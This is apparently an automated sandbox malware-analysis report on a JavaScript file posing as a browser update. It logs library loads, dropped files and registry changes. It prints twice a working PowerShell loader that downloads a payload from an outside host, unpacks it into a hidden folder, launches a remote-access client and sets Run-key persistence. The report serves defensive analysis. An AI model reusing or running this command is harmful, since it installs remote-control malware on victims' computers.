Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Roaming\KYED2\NSM.ini

Jump to behavior

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Update 124.0.6367.158.js

Static file information: File size 13584280 > 1048576

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\KYED2\msvcr100.dll

Jump to behavior

Source:

Binary string: msvcr100.i386.pdb source: client32.exe

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;			Jump to behavior

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_11029BB0 GetTickCount,LoadLibraryA,GetProcAddress,SetLastError,_malloc,GetProcAddress,GetLastError,_free,_malloc,GetProcAddress,GetProcAddress,InternetOpenA,SetLastError,SetLastError,SetLastError,_free,GetProcAddress,SetLastError,GetProcAddress,InternetConnectA,GetProcAddress,SetLastError,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetLastError,GetProcAddress,SetLastError,GetLastError,GetDesktopWindow,GetProcAddress,SetLastError,GetProcAddress,InternetQueryDataAvailable,SetLastError,GetProcAddress,SetLastError,FreeLibrary,

5_2_11029BB0

Source: new_chrome_proxy.exe.3.dr	Static PE information: section name: .gxfg
Source: new_chrome_proxy.exe.3.dr	Static PE information: section name: .retplne
Source: new_chrome_proxy.exe.3.dr	Static PE information: section name: _RDATA
Source: PCICL32.DLL.3.dr	Static PE information: section name: .hhshare

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF848F17567 push ebx; iretd	3_2_00007FF848F1756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF848F100BD pushad ; iretd	3_2_00007FF848F100C1
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1116FF15 push ecx; ret	5_2_1116FF28
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1116AE09 push ecx; ret	5_2_1116AE1C
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1116FF15 push ecx; ret	6_2_1116FF28
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1116AE09 push ecx; ret	6_2_1116AE1C

Source: msvcr100.dll.3.dr

Static PE information: section name: .text entropy: 6.909044922675825

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\PCICHEK.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\pcicapi.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\new_chrome_proxy.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\PCICL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\KYED2\TCCTL32.DLL	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_6EF07030 ctl_open,LoadLibraryA,InitializeCriticalSection,CreateEventA,CreateEventA,CreateEventA,CreateEventA,WSAStartup,_malloc,_memset,_calloc,_malloc,_memset,_malloc,_memset,GetTickCount,CreateThread,SetThreadPriority,GetModuleFileNameA,GetPrivateProfileIntA,GetModuleHandleA,CreateMutexA,timeBeginPeriod,

5_2_6EF07030

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

5_2_11128B10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KOTLG			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KOTLG			Jump to behavior

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11139ED0 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	5_2_11139ED0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110C1020 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	5_2_110C1020
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11113380 IsIconic,GetTickCount,	5_2_11113380
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	5_2_110CB750
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	5_2_110CB750
